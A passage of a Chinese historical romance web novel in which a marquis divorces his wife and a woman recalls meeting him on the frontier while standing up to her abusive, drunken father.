“你避开了我的问题。”陶盾的双臂并在身体两侧,格外僵硬,手指掐着手心,“致娘你……是不是喜欢陆小侯爷?”
阿致低头,避开他的实现,转而去擦洗房檐下的一张木桌:“他和我无关。”
她还是没有回答问题。她从来就不在意他,也从来没有把他当个男人看待。陶盾很早就隐约意识到这一点,可是……知道是一回事,直面真相又是另一回事。陶盾被这真相冲击得心揪起来,一股酸痛感涌起。
看他低头皱眉,阿致想要说两句安抚他,最终还是低头,继续擦她的木桌。仿佛那张木桌都比身边的人要重要。
陶盾垂头丧气地走出后门,从窄巷晃出去,如同游魂一般。晃出来许久,他才想起来陆昀峥的那封信,他要告诉致娘真相的。只是,现在他连说话的力气都没有,哪管得了谁要和离谁要解除误会?他抬起沉重的脚,一步步往家里迈。
·
陆昀峥的调令下来了,他被皇帝任命为大将军,处理楼烦的事。因为此事紧急,他必须要在十天内准备好,去到边塞上任。
接到正式调令时,陆昀峥正在书房里。
十天……他皱眉思考后,将调令放在一边,立刻吩咐身边的小厮,准备好去边塞的所需物件,此去至少一年不能归家;又问邬春荣:“夫人在府中么?”
邬春荣站在书案旁,缩着脖子答:“夫人回娘家,至今还未回来。侯爷您要不要去接夫人?”
陆昀峥沉吟着,似乎在认真思考。
邬春荣站在一旁,心想着夫人回娘家五天了,侯爷您不去接人,夫人哪里来的台阶回府呢?
陆昀峥在书案边上翻找出一张纸来,重新拿起笔,在纸上写写画画。
邬春荣看了一眼,眼睛瞪得像铜铃——放妻书?
邬春荣站在一旁,看着他的侯爷,就这么水灵灵地写完了放妻书。
提笔之后,陆昀峥将夫妻书收在衣袖里,起身吩咐:“备马。”
和离的事,这十天内不办完,不知道又要拖到何年何月。时间越长越难以处理。想起上次吵架时谷湘君说过不会和离,陆昀峥脸色冷淡。这事再难,他也要把事办了,不管要付出什么代价。
“侯爷这是去哪里?”邬春荣头一次多嘴问。
陆昀峥转头看他。
“小的这就去备马!”邬春荣麻溜地跑出去,把马牵到门口,目送着自家侯爷远去。这还真是去接夫人,不过是带着放妻书。啧啧啧……侯爷就没考虑过会被谷尚书打么?
·
谷湘君睡到将近中午才起来,近几日她食欲不振,晚上也难眠,神采便不是很好,脸上没什么血色。
她坐在梳妆镜前,看着颓废的自己,还有杂乱的发束,许久,叫春铃进来,给她打水洗漱、梳妆。
春铃太开心了,夫人这几日净睡觉了,因着身体不好,也没有去给父母请安,一步都不肯迈出这院子。
谷湘君看着铜镜里的自己,深色木然,好在涂了些胭脂,人看着精神了些。
这时候,母亲卢氏从外头进来,满面忧心。这几日,女儿病了一般,话也少。
见到女儿正在梳妆打扮,卢氏十分开心,她伸手叫其他丫鬟都出去,然后伸手按在女儿的肩膀上:“这样就对了,人活一口气。和离的事你不要怕,我昨儿晚上与你父兄都说过了此事,他们觉得陆昀峥实在太儿戏,不会任他欺负你。今儿就会帮你训斥他一顿。”
“不必了。”谷湘君淡淡地道,又吩咐春铃:“去备马车。”
春铃转身出去。
“你要出去?”卢氏问。
谷湘君点头:“去和陆昀峥和离。”
卢氏大惊,气得一巴掌拍在她肩头上:“你疯了还是傻了?陆昀峥那样好的夫婿,你就这么放手?”
谷湘君伸手轻轻摸着肩头,侧过身,伸出双手抱着卢氏的腰,恹恹地道:“母亲,当年父亲将于小娘和三妹带进门来的时候,冷落了我们许多年吧。”
卢氏捏着女儿的胳膊,想看女儿的脸:“你提这事做什么?”
这事和陆女婿有什么关系么?
谷湘君撒娇一样,把脸埋在母亲的肚子上:“就是想起当年的事了。父亲突然爱上其他女子,又带了一个妹妹进门。女儿记得,当时父亲格外疼爱三妹,一点也不关心自己。那时候感觉……父亲被人抢走了一般。”
说起这段往事,谷湘君心中委屈顿起。在她记忆里,小时候,父亲格外疼爱她的。可是外出上任几年再回来,她父亲便不再是她的父亲了。就好比,她都回来好几天了,父亲从来没有探过她的病,问一声她好不好。甚至母亲也逮不到他的时间说和离的事。父亲根本不关心她。
卢氏想起了当年的事,仰头翻个白眼,这事一提她就咬牙切齿:“你父亲就这德行,一点没有担当。当年你病了,他压根不来看,可是那于小娘一有什么风吹草动,他就宝贝的不行!”
“是啊,母亲,我原本是想要找个专情的男人。这样一来,他不会像父亲那样带其他女人回来,我的孩子也不会失去父亲。”谷湘君说到这里,哽咽着闭上眼。
卢氏弯腰,捧着她的脸颊:“乖鸢鸢,别伤心。那陆昀峥不就是个专情男人么?你相看的那么好,那么稳,为何还要和离?”
说到这里,卢氏一顿,皱眉怒吼:“难不成他在外头有了人?”
谷湘君紧抱着母亲一个劲地哭,也不说话。如果她只是抢了沈雪致的男人,那她不会有任何负罪感;可是要她去抢另一个小女孩的父亲……
卢氏手忙脚乱:“那你是为何要和离?和离了,你往后可怎么办?”
谷湘君抱着母亲哭了好一会,撑起身子,对卢氏行个大礼:“望母亲原谅女儿任性。”
说完,谷湘君戴上帷帽,去侧门坐马车。刚走出门,便与打马而来的陆昀峥碰面。
陆昀峥从马上下来,直直朝她走过来。
谷湘君紧抿着嘴唇,看他一身飒爽,脸色冷峻。她知道,在他的眼里,她什么都不是。
卢氏追着女儿出来,正好看到陆昀峥,立刻上前,左右看看没人,压低声音怒斥他:“你还知道来接鸢鸢儿!”
谷湘君伸手,制止了母亲,并让母亲回去。一来她不想让人说闲话,二来,她看出来了,他绝对不是来接她的。
陆昀峥想要说什么,谷湘君打断他,招呼他上马车。他的马请家里的小厮牵回去。
卢氏满心担忧,却没有办法。
而马车中,陆昀峥从袖口中拿出刚写的放妻书,递给谷湘君:“三日之内和离。”
谷湘君低头,打开放妻书仔细看过。
陆昀峥知道,她不会答应。不答应的话,他也有其他应对办法。
“好。”谷湘君说。
十分爽快。
陆昀峥抬头,看着她。
谷湘君撩开马车帘布,吩咐马夫:“去县衙。”
她折好放妻书,道:“现在就去和离,不然我可能会反悔。”
去到县衙,当着户部官员的面,他们要签字画押。陆昀峥率先弄好,轮到谷湘君,她签好字,右手大拇指按了红泥,只需要把手指摁在这张纸上,他们便不再有任何关系。<
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p>其实她想反悔,右手拇指轻轻抖着。
可是话都说出去了,便用左手摁着右手的手背,往放妻书上一摁。完成了,再没有回头路。
从县衙出来时,外头下起了大雨,两人仍旧一起乘坐马车回去陆府。
“我处理完嫁妆,今晚上便会搬走。”谷湘君道。
陆昀峥看着她:“你把聘礼也带走吧,阿致的东西留下即可。”
他很意外,谷湘君会改变主意爽快与他和离,明明之前说过绝不和离的。
谷湘君讽刺他:“你不用装模作样做好人,我知道你早就恨不得甩开我。现在你如愿以偿,应当是欣喜若狂吧。”
“此次和离之后,对你往后的姻缘有影响,聘礼就算是我的赔礼,也算是你愿意与我和离的谢礼。”
谷湘君恨恨看着他,却是想哭。别家的男人,和离的时候恨不得榨干女子的嫁妆,可是陆昀峥在这时候还要如此君子。她说:“你这样,以后叫我怎么恨你?”
“你若是要恨我,便恨了。就像你说的,当初轻率地信你,求娶你,也有我自己的错,才会造成如今的局面。”陆昀峥看着她,“往后若有什么需要我的地方,只要力所能及,必当不遗余力。”
他是真的感激她的放手。
谷湘君低头,用袖口掩着脸,擦脸上的泪痕。
许久,两人没有再说一句话。马车拐入禄蕉巷时,谷湘君突然看着他,说:“陆昀峥,你是不是以为,我与你成婚,真的只是算计?”
陆昀峥显然愣住,没有回答。
马夫说:“到了。”
已经到了陆府。
谷湘君伸手扒开帘子。他不用回答,她已经知道答案了。因为,从头到尾,他都没有问过她,为什么会改变主意和离。
他根本不在乎她,他只在乎和离这件事。他心里只有另一个人。
记挂着另一个人,却完全不记得对方的事。挺可怜的。但谷湘君一丝要帮他的想法也没有,她为他做的已经够多了。
·
十天的准备时间很快,陆昀峥每日早出晚归,累得不行。终于准备得差不多,还有两天可以休息。
陆昀峥躺在床上,闭眼假寐。
前几日忙的间隙,他会想起那小娘子,但想得少。今日突然闲下来,他躺在黑夜里,那小娘子便出现在他眼前。
他伸出胳膊盖在脸上,不一会儿,起身,洗了个冷水澡。
天气越发冷了,他回到房里换身衣裳,罗三从外头进来,风尘仆仆的。
“禀侯爷,密县那小娘子的面馆已经盘下来,所有的手续都走完,银钱也交给了那小娘子。”
陆昀峥用布巾擦着脖子,点头表示知道了。
罗三想了想:“那小娘子这两日便会离开密县,还要盯着她的去向么?”
陆昀峥拿着布巾的手顿了下,道:“不用。”
“好,我会让兄弟们立刻回来。”罗三又道,“那您之前让联系王致的儿子陆涂,已经约好明日中午在西街见面,还见吗?”
原本,查陆涂是因为那小娘子。现在小娘子都不用盯了,还用去找陆涂么?
陆昀峥又迟疑了下:“正好有空,去看看。”
到第二天,陆昀峥终于见到了那十岁的陆涂。
一脸精明相,无论陆昀峥问他什么,他都先要钱。
拿到银子,陆涂才断断续续透露了一件事:他爹陆扬根本就没有小妾,也没有玷·污过任何女子。
“真的?”陆昀峥眯着眼睛。
如果陆涂说的是的,那小娘子便说了谎,弥天大谎。
“给钱。”陆涂人小鬼大,笑眯眯的很得意。
17. 雄赳赳气昂昂(回忆初相识)
17
陆涂怀疑自己是不是撞了大运,竟然遇到了有钱的冤大头。
他说的每一句话都有钱拿。
最后只需要发个誓,又能多拿十两银子。陆涂竖起三根手指:“我发誓,我陆涂今日所说的,字字都是真的。”
陆昀峥将他放回去,随即叮嘱罗三去跟踪。
陆昀峥打马回到府中,脑子仍旧是乱的。他回想起那一夜,她被掳劫过来时,明明说起自己的过往时那般伤心……不像是假的。难道她再一次骗了他?为何要骗他呢?还要编出被玷·污这样的谎言?
还是说,陆涂说了谎?他爹死的时候他才五岁,怎么可能记得那么清楚呢?
不到傍晚,罗三回来了,他发现陆涂身上两件重要的事。
第一件是,陆涂落脚的地方,竟然就在陆老夫人在近郊安置的庄子里。
第二件是,陆涂的话或许不可信。陆涂带着银钱去到赌坊,不到一个时辰,输得一干二净,回到庄子上,被管事揪着耳朵罚了一顿。罗三找管事打听之后,得知这陆涂手脚不干净,总是摸些东西出去变卖了,小小年纪,好赌成性,不可救药。
陆昀峥听完汇报,他沉思许久,问:“你确定是我母亲的庄子?”
“是,那管事直接找老夫人汇报,属下之前在侯府见过多次。”罗三的眼力、记忆力卓尔不凡,不可能记错,“倒是那陆涂的话,几分真几分假,很难确认。侯爷,不如属下现在赶往渠县,再次确认陆扬的过往?”
“时间来不及了。”陆昀峥明天就要离开,他的手指在桌上敲着。这可真是巧了,与小娘子有关的人正好就是他陆家旁支,陆扬唯一的儿子陆涂在丧父后,一直呆在陆府的庄子上办事。
他立刻吩咐罗三:“你给王阳写一封信,让他去密县,辨认那小娘子是否沈雪致。”
王阳便是在陆昀峥婚宴上打秋风的旧部,他是陆昀峥身边唯一见过沈雪致的人。只是今年初他便外出做小买卖,常要离开长安城,一两个月不见人也是常事。
罗三领命出去后,陆昀峥其实,他出门后,绕到六阳巷的陆府,去见他的父母。他直觉,当年阿致的离开,或许和二老有密切关系。
·
夜深了,阿致对着烛火连连打哈欠,又看看桌边坐得板正的女儿希君:“早点睡吧,明早天不亮就要启程。”
希君还在读书,皱着小脸,认真思考,转头道:“阿妈,什么是‘由俭入奢易,由奢入俭难’?”
阿致给她解释了字面意思后,女儿说:“阿妈,我知道了,就像是我吃了云周记的糕点,就不想吃你做的了。”
阿致很无奈,但这比喻很贴切,招呼女儿到被子里躺着。
希君吹灯后,躺在阿妈的怀里,在夜里睁着亮晶晶的眼:“那这句话是贬义?”
“任何事都有两面,这句话也能教会你一些道理啊。”阿致说,“你吃过云周记的糕点,是不是就有了优劣辨别能力?如果你以后要做糕点,是不是就能知道,自己的目标在哪里?你看,你见过了好的东西,就很难再将就。糕点是这样,人也是这样。所以啊,你以后要多多看这个世界,见过好的,就不会为要不要将就这个问题苦恼。”
希君似懂非懂,阿妈的怀抱太软太温暖了,她立刻困得眼皮都睁不开。
阿致给她掖好被子,自己也躺下来,看着黑漆漆的屋顶。突然就想到了陆昀峥,想到了过去大半个月发生的事。
就是因为不舍得陆昀峥离开,她才意识到,不论如何,她还爱他。
很难不爱吧,毕竟他是那样好的一个人,曾经对她那么那么好。阿致曾与许多人摩肩擦踵,停留在她身边的人很少,停下来的人当中对她最好的就是陆昀峥。更何况,还那么真挚地爱过。
不过,他们的第一次相遇可没有那么“真挚”。只有在陆昀峥离开后,她才开始肆无忌惮地想念在边塞的那些日子,想念那时他的容颜,想念他低头看着她的笑容,仿佛发生在昨天那样鲜活。
·
十七岁的时候,阿致遇到了陆昀峥,在边塞。
阿致生长在边塞,而陆昀峥则是个小小副将。他们的相遇始于一个夜晚,阿致被叫去酒楼,因为她爹又和人喝醉了,酒钱没有结。
阿致绷着脸去到酒楼,正看到她爹正在耍酒疯。别人耍酒疯,都是大骂大哭大笑,她爹不是,她爹是吹牛皮……全都是“我年轻”或者”我当年“怎么怎么的。
那些牛皮也不怎么样,但阿致已经滚瓜烂熟,看到阿爹耍酒疯,阿致只感觉很丢人。酒楼里这么多人,她被人盯着,浑身不自在。
阿致她爹名沈金,大家都叫他金叔。金叔身旁的酒搭子是个二十岁出头的年轻男人,这男人名叫严吒,瘦瘦的,浑身没有一点肉,笑起来腮帮子凹陷得特别磕碜,还会露出黑黄的几颗牙。
严吒看到阿致,立刻笑嘻嘻站起身:“阿致,你来啦。”
阿致看他一眼格外不舒坦,避开他的手,去拉她爹回家。
金叔一把推开阿致的手,反而拉着严吒的手,一脸欣慰地托付道:“往后我女儿就要你多多包容啦。”
严吒看了一眼阿致,忙弯腰迎合道:“金叔哪里的话,成亲之后,我一定会对阿致好。”
阿致翻了个白眼:“严吒,这是我爹的酒后糊涂话,你不要当真,我不打算嫁人。”
严吒还没有生气,金叔气得站起来,给阿致一巴掌:“你说不嫁人就不嫁人?”
阿致捂着脸颊,嘴唇抿成一条线,她的眼睛里没有任何委屈或者柔弱,只有愤怒的火焰。当她侧脸的时候,对上一个青年男子的眼睛,他似乎很愕然,望着她,眼里除了震惊就是怜悯。阿致恶狠狠地瞪他一眼,看什么看。
金叔还在絮絮叨叨:“严吒这么好的男人,对你也好,你为什么不嫁?”
阿致放下手,脸火辣辣地疼,她冷静地道:“他去青楼。”
严吒立刻双手挥舞:“阿致,我没有去过青楼。”
阿致看着他,面无表情:“昨日我看着
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你进青楼的。”
严吒无话可说。
金叔伸手,又是一巴掌,扇在她额头上:“这世界上有不去青楼的男人?男人愿意做事养活你,多辛苦呀,付出了那么多,你该感恩!”
周围许多人在看热闹,都觉得这父亲真是好笑,竟然帮着外人来欺负自己女儿。这女儿大庭广众之下被父亲羞辱,真是可怜至极。
“一个家里,男人赚钱养家,女人就没有付出吗?”阿致眼睛里满是冷漠的海浪,她直视着一旁的严吒。
这两巴掌不过是常态而已,从小到大的常态。
无论是谁嫁给严吒这样爱逛青楼的男子,阿致都深表同情。她父亲是伙夫,虽然不用出征,但来往认识的人都是兵士,他们许多人日常劳苦,一有时间和银钱,不是花在酒肉上,便是青楼的皮肉上。
她认识的绝大部分男子都是如此,但是她始终认为,女子的归宿并不是只有嫁给这样的男人。嫁给这样的男人如同下地狱,每日辛劳操持,还要生养孩子,到头来竟要被逼着感恩男人的辛苦付出。呵,阿致真是想笑,他们赚那么点蚊子腿,就每天拽得要死,一点自知之明都没有。她这么清楚,是因为她爹就是这样的男人。
但是,阿致的想法并不能改变父亲,她这些话都是说给严吒听的。
到这里,阿致伸手,将父亲拉扯到酒楼外。
一路扛着父亲,阿致气喘吁吁,走了很远,走到一个没人的巷子口。
阿致一把将父亲推倒在地上,闭眼深呼吸一口,然后伸手,用力往父亲脸上打了两巴掌,声音十分响亮。
金叔抬起头,捂着脸茫然看着眼前模糊的人影:“你……你——我要去报官!”
阿致心情终于舒畅,正了正衣领。从小到大,父亲只要喝多了就会对她和母亲拳打脚踢。小的时候,阿致只能被动承受,但是她发誓,她绝对不会被动挨打。于是稍微长大一点,只要有机会她就会学习各种拳脚功夫。她的人生原则就是以牙还牙,谁怎么对她的,她就要打回来。没有多打几巴掌作为利息,那是她的善良。
阿致扬眉吐气叉着腰,一转头,看到巷尾似乎站着一个人……
那个人似乎也正盯着她。
大晚上的,压根看不清那人的面容和脸色,但阿致很明显能感觉到对方浑身的震惊。
阿致恶狠狠地朝他走过去。对方肯定看清楚她是谁,她也要看清楚对方是谁。原来,他就是方才酒楼里的那个青年男子,一身的黑色长衫,相貌端正,手里拿着一封信,愣愣地站在原地,像个傻子。
这男子就是陆昀峥。后来陆昀峥说,第一次见到有人打自己的父亲,他短暂的人生遭遇了巨大冲击。他觉得她做得不对,简直大逆不道。
但当时的阿致有不同意见,她扯了扯短衫,雄赳赳气昂昂从陆昀峥身边走过,并且恶毒地瞪着他,冷冷骂一句:“看什么看?!”
当时,陆昀峥的眼睛瞪得比铜铃还夸张。她就这么离开了,把她醉酒的爹扔在无人的空巷子里……
18. 沈雪致?
18
第二天早上,阿致家里很热闹。
他父亲酒后摔倒的消息,经由隔壁婶娘的嘴巴,传得老远。这不他父亲的几个朋友来见他,顺便大家一起再喝点酒。
阿致在厨房里忙着准备酒菜,一点不情愿。有点时间,她更愿意去学习做糕点的能耐。她想要以后自己开个糕点铺子,养活自己。
“阿致,别怪婶娘多嘴,你爹他就是心里太痛苦,才会常常饮酒。你多体谅他些。”来厨房里端菜的婶娘,看她一脸不高兴。昨晚上在酒楼里,阿致被她爹打了两敞亮巴掌的事,街上的狗都知道。
“他有什么好苦的?”阿致埋头炒菜。
“你娘去世的早,他没人照顾,多可怜。”婶娘很认真地怜惜着。
阿致不可置信地抬头,看着同为女人的婶娘:“这关我娘什么事?他这么大个人了,有手有脚,不会自己照顾自己?”
可怜的是我好不好?!
阿致真的想摔锅铲。
阿致到底还是忍耐住了,她佩服她自己。炒完最后一个菜,阿致出去端出去。
她爹正和几个朋友喝得面红耳赤,喜笑颜开。金叔一看到女儿,便大手一挥:“再去拿两壶酒。”
“没有了。”
“不会出去买?”金叔大声一吼,大概觉得自己威风凛凛,对着几个朋友微笑,仿佛在炫耀。
阿致暗地里翻了个白眼,抿紧嘴唇:“嗯。”
就在这个时候,门口进来一个高大男子。
阿致看到他,眼珠子都不动了,这不就是昨晚上那人?看到她动手的那人?
他来做什么?
他会不会把昨晚的事告知旁人?阿致的目光转移到父亲金叔身上。
金叔和几个朋友起身,对那年轻男子作揖行礼,邀请他坐下来,一同饮酒。
一旁愣住的阿致,这才明白,这男子姓陆,是个副将。她父亲归这个男子管。
阿致出去买酒前,盯着那男子好一会。对方似乎并不在意,也似乎没有注意到她。她出门后,特意藏在门背后,偷听他们的对话,那男子也没有讲她的坏话。
算他君子。
阿致将酒买回来,那男子站在她家门外不远处,似乎在等人。
阿致提着两壶酒,昂首与他擦肩而过。
“沈雪致?”陆昀峥出声,叫住她。
居然知道她的名字。阿致大大方方站在他面前:“明人不说暗话,不许将昨晚的事告诉任何人。”
陆昀峥没有生气,反而苦口婆心劝说:“你既然知道昨晚的事不能让人知道,一开始就不要做。因为一点小事就对父亲动手,被人看到,你——”
就像在劝告一个不良少女。
“那就不要被人看到咯。”阿致扭头看着他,丝毫不觉得自己有任何问题。
这样很容易走歪,陆昀峥急着走过来,唠唠叨叨劝她:“身体发肤尚且受诸父母,你怎可拿父亲泄愤……”
“迂腐。”阿致白了他一眼,“在你看来,被当众打两巴掌,是小事吗?”
陆昀峥没话可说了。
阿致又说:“你只看到我拿他泄愤,就觉得不合理。那你该好好想想,为何我要拿他泄愤。”
“为何?”
阿致长叹一口气,仿佛无奈的小老太太,转身走了。
她和父亲的矛盾由来已久,并且原因复杂,至少有三个原因。
第一个原因是,父亲根本不尊重她。在他眼里,女儿就像是狗一样。当他无端打骂,女儿也应该摇尾乞怜。偏偏阿致一身反骨,她才不!
第二个原因是,他不尊重她的婚嫁,还非要给她选择恶人成婚。如果说她此生姻缘不好,那九成九拜她这老父亲所赐。他父亲一次次逼她嫁给严吒,并不是因为严吒是个好人值得托付终生,也不是因为严吒有钱有权至少能保他女儿一生不必劳累,甚至不是因为严吒爱他女儿。仅仅只是因为,严吒总能哄得他开心,在他反复提自己“当年”如何如何时,非常愿意捧场。
从本质上来说,阿致是鄙视她父亲金叔的。一个人总是会在自己欠缺的地方跌大跟头,比如被骗。但这句话并不适用于金叔,因为他被人捧臭脚所要付出的代价,是由他的女儿来承担的。
阿致当然不愿意嫁给严吒,严吒不仅逛青楼喝花酒,他还好赌,人品也不好。严吒远远看到阿致就笑,阿致远远看到他就想跑,那一口黄牙真是磕碜。
但是在父亲金叔那里,阿致的想法不重要,不论她拒绝多少次。
几乎每天晚上,阿致在厨房里琢磨糕点怎么做的时候,她爹就会在一旁念叨,让她嫁给严吒。
阿致仍旧是硬骨头,坚持想法:“我不嫁人。要嫁你嫁。”
“你这丫头,让你嫁人,你以为是害你么?”金叔一脸关爱,这关爱他自己感动到。
阿致摇头,给他讲未来的风险:“别人家姑娘嫁出去被欺负了,娘家人是要撑腰的。要是我嫁人了,丈夫打我,你会怎么办?你能帮我做主么?”
金叔一脸孺子不可教也的恼怒样:“你怎么总是把人想得这么坏?”
一天天的维护外人,骂自己女儿是坏心眼,真是……阿致把糕点从蒸笼里掏出来,咬牙切齿道:“严吒可是打女人的,他打过他妹妹,哦,还有相好的。”
“你一个未出阁的女子,竟然胡说。那也是他们犯错了,才会被打。”金叔脸红脖子粗。
阿致抬眼看他,重新低下头去,尝糕点。她心说,我没有犯错,你也照样打我,打得那么狠,还当着别人的面打,生怕巴掌不够响亮,观众不够多。
嗯,这糕点做得还是不行。
再过一天,还是一样的,晚上阿致做糕点,她爹在一旁对她横眉冷对,说那严吒都要下聘了,聘礼不少。
阿致根本不为所动,她打算换一种策略说服她爹:“如果我嫁人了,可就没人给你养老了。到时候你老了,走不动了,或者瘫在床上了,日子可不好过。你看隔壁的陈叔那日子,没有婶娘照顾他是什么样?”
这话说完,金叔沉默了一会,似乎在认真思考女儿的话。
阿致心说,果然还是利害最能打动人心啊。
今日这糕点闻着还不错,也许能成。阿致有些得意。
末了,金叔讷讷道:“我也不需要你照顾,只要你过得好,我就满意了。”
说实话,听着这话,阿致都有点信了。毕竟谁会盼着自己女儿过不好的日子呢?
阿致从糕点的香味中冒头,看着她爹,头一次眼眶要酸。
这时候,她爹又说:“到时候你不嫁人,别人会说我没教好你,让你丢人现眼。”
阿致的嘴角撇下来,果然,他也只是想到了自己的脸面。一生为脸面而活的悲哀,就是如此,会把所有爱他的人,随意推向火坑。
阿致不吭声了,她低头尝了尝出炉的糕点,香甜是香甜,但是透着一点苦味。
她在做糕点这件事上,似乎是一点天赋也没有……不如早点放弃,去学点别的。
又过了几天,阿致去夜集上卖东西,都是她自制的小东西,不管是手串还是各式吃食。她想找找看,自己适合什么。
边塞就是有这点好,女子出来摆摊讨生活的也不少。
真是事事不顺,天气不好,风大,夜集上人很少。还有,隔壁有个多嘴长舌妇,拉着左右几个女子,聚众讲阿致被她爹打脸的事。其实这事,阿致已经不介意了,毕竟她已经打回来,而且她也管不住别人的嘴。但问题是,她们能不能尊重一下当事人?当事人就在隔壁的隔壁摊位啊!风一吹,风言风语都落她耳朵里,一字不差。
“她都十八了,家里又穷,居然一点自知之明也没有。”
又一个人说:“是啊,严吒家中据说是有几个钱的。看来是她眼光太高,想要嫁给别人做官太太咯。”
“呵,那她也不看看自己什么样。别人有权有势的,怎么会看上她?”
“就是,听说她爹每日劝她,劝不住呢。”
阿致听得直翻白眼,她站起身来,想要大骂一番。
一个高大的影子突然挪
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过来,盖在她的身上,是陆昀峥。
“这些都怎么卖的?”陆昀峥蹲在地上,仔细看她摊位上的玩意。
虽两人有些过节,但是阿致真的想卖出去东西,于是热心肠地给他介绍自己的货品。隔壁几个人不再八卦,就看着陆昀峥傻笑。
陆昀峥看后,还真挑了一个十三籽手串。
隔壁有人吆喝,让陆昀峥过去看看,有一样的。
想抢生意?没门。阿致立刻气势汹汹拉住陆昀峥的胳膊,她可以保证自己出售的,是这条街最好最便宜的。
陆昀峥似乎迟疑了下,最后还是给她一串铜钱。
阿致接过钱,喜笑颜开地给他把手串包好,给他介绍:“这个真的很适合送喜欢的女子,你看这个红晶就代表爱情,多摸一摸就能遇到正缘。”
正缘这么简单么?陆昀峥好笑,脸上仍旧严肃正经。
阿致早看透他的心思,一脸认真道:“这是真的!”
陆昀峥看着她这模样,好不容易忍住的笑意,最终还是从嘴角泄露出来。
他还是不信她。算了,反正她也不信自己。
·
人的缘分就是这么奇妙。有的人在很近的地方生活两年,却从来没有碰过面。可是一旦碰过面,就经常见面。
因为经常见面,阿致突然意识到了一点:陆昀峥可能是个合格的好男人。
这一天,阿致的父亲金叔又喝醉了,在家和一个朋友喝得烂醉如泥。就这还有力气打女儿。
阿致站在酒桌旁边,被她爹打着的时候,她咬紧牙关,心里数着多少下:一、二、三……等下全部都要归还给他!
另一个人也醉了,趴在桌上,呵呵傻笑。
就在这个时候,陆昀峥出现了,他一把拉开了阿致,挡住金叔的手臂。
接着,陆昀峥把她拉到后厨,两人坐在装柴火的引塘边上,给她看脸上的红肿。
阿致偏开脸,不知道为什么,她被人看过那么多次红肿的脸,就是不想给他看到。
阿致伸手,扯了扯乱掉的头发。
陆昀峥沉默许久:“要不要去看大夫?”
“不用。”
又是一阵沉默,陆昀峥似乎在酝酿什么。
阿致说:“我知道,你就是想要阻止我打回去。”
陆昀峥斟酌字句后,说:“你处理事情不要那么极端。”
“凭什么他可以打我,我就不能打回去。就因为他是爹我是女儿吗?”阿致越讲越激动,她把绑头发的布条都扯了,“他打我那么多次,我只是打回去,又没有收利息,已经很对得起他了。”
阿致说完,伸手到脑后把头发都绑起来。
陆昀峥看着她脸侧的发丝,仍旧是乱的。他知道她生气,但是他必须要劝服她:“是,如果被打了,当然可以打回去。但是——”
“但是什么?但是他是我爹,对我有生恩有养恩,所以他伤害我,我也必须要忍气吞声?”阿致非常气愤地扯下布条,还是绑不好。她最讨厌别人这样说了,隔壁婶娘经常这样劝她。
阿致气呼呼道,“他就算对我有恩,那也只说明我以后要还他好处,这不代表我要忍受他的伤害。”
陆昀峥一把拉过她的手。
阿致低头,愣住了。
“我给你绑。”陆昀峥从她手中拉过布条。原本他就是想要拿过布条。
“你会?”阿致好奇地看着他。
陆昀峥轻轻慢慢给她把头发理顺,在左边耳侧绑了个好看的蝴蝶结。
阿致有点满意。
陆昀峥看她情绪好点了,这才说:“我想说的是,你已经长大了,你并不一定要挨打,然后伺机报复。他要打你的时候,你逃开就好了。如果没有被他伤害,你就不会心生怨气。”
阿致终于不吭声了。因为她知道,他说的是对的,是她从来没有想到的。
她抬眼看了一下他,突然发现,他长得挺不错的,脑子也不错,是和严吒、她爹完全不同的类型。
阿致问:“你成婚了没有?”
19. 看来他真喜欢自己
19
你成婚了没有?阿致脑子里一直无限回荡这句话,这句蠢话。说话不过脑子,后果就是这么严重,阿致的脸烧起来,好在她连本来就是红肿的,看着不显。
反正,话都说出口了,阿致悄悄瞟一眼陆昀峥,看着他的嘴唇。
陆昀峥满脸通红,舔了舔嘴唇,半侧着脸看她:“你问这个做什么?”
一时间,后厨里安静极了。昏暗的引塘里,隐隐有湿柴火的霉味。从黑漆漆屋顶斜着投入几束光柱,光柱里是轻轻舞动的灰尘,给人一种身在澄澈湖底的错觉。
阿致梗着脖子,说:“你想到哪里去了。我只是说……如果你成婚了,那就对已婚男子了解些,是不是男人都爱去青楼喝花酒。”
陆昀峥双手放在膝盖上,不自觉撵动长衫,显得有些拘谨:“那也不是所有男人都这样。”
终于蒙混过关,阿致松一口气,她又问:“那如果是你妹妹,你会逼着她嫁给喝花酒的男人吗?”
陆昀峥摇头,侧脸,和她的眼神撞个正着,许久他才说:“你不要嫁给严吒。”
阿致一脸震惊:“啊?”
“我的意思是,严吒他喝花酒,你就不要嫁给他。”陆昀峥咳咳两声,侧开脸,不再看她。
阿致才不信他的解释。
晚上躺在床上,阿致翻来覆去睡不着,就在琢磨这事。难不成他喜欢她?
阿致看了看自己黑漆漆的房间,还有挂在房门背后的衣裳,很简单的黄麻布,很不显眼。她咬着嘴唇,实在想不通他喜欢自己的原因。不过入梦之前,她倒是想起了他的嘴唇,总是让人想要咬一口。
第二天早起,阿致决定,不管陆昀峥什么想法,她要先仔细考察陆昀峥作为丈夫的可行性——他的人品以及责任担当。再决定,要不要发起攻击。
说干就干,阿致在早饭的时候,问她爹:“那个陆昀峥,他什么情况?”
“你想问什么?”沈金从宿醉中醒来,头疼得不行。
阿致主动端上解酒茶:“我看他年纪轻轻的,就是副将。便想问他究竟立了什么功。”
沈金一脸难以置信看着那解酒茶,随口道:“与义渠作战时,以少胜多,还取了对方一个大将的首级。”
“原来如此,这可是个大功。那他还真是凭自己本事,一步步爬上来的。”
沈金喝了解酒茶,道:“这倒是,前几年他才来投军,从最低的将士做起。”
阿致咬着嘴唇,又问:“那他这么优秀,成亲了没有?”
她昨天忘了追问他这个问题。
沈金一抬眼皮,将解酒茶推给她:“你问这个做什么?多关心关心自己的人生大事。”
阿致知道,从父亲这里问不到什么有用的信息。她还得打探陆昀峥家里什么情况,几口人,几个兄弟姐妹。
于是,阿致这两天热络地去接送她爹,看到过两次陆昀峥。陆昀峥忙着训练,根本没空理她。
阿致也不气馁,她观察了几天,发现有个军爷是经常在陆昀峥身边的,名叫王阳。王阳腿长跑得快,经常给陆昀峥送信。
阿致借着送糕点,逮着王阳的空闲,就去打听陆昀峥。
王阳接过那一篮子糕点,喜笑颜开,一五一十把陆昀峥家里情况说了。陆昀峥他父母还在世,兄弟三个,他是老幺,两个哥哥都成家了,就他在边塞从军,还未成婚。
“那他家里境况如何?”阿致问。
王阳掀开篮子上的布,拿出一个糕点,咬了一口:“哎哟,这……”
这真的是味同嚼蜡,能把面粉做成这样,也真是个人才。
王阳看着手上剩余的糕点,丢也不是,只能硬着头皮吃下去,把篮子塞给阿致:“还行吧。”
阿致继续追问:“那订婚了没有呢?”
